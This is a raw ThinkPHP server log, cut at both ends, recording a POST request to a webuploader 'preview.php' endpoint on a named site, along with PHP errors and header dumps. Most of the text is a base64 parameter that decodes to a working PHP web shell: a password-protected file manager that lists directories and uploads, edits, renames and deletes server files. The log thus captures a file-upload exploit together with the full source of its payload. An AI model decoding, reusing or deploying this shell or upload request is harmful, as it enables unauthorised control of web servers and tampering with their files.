hyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:44+08:00 ] 119.42.146.234 POST 51tianwei.com/library/webuploader/0.1.5/server/preview.php [运行时间:0.002585s] [吞吐率:386.82req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'library', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZ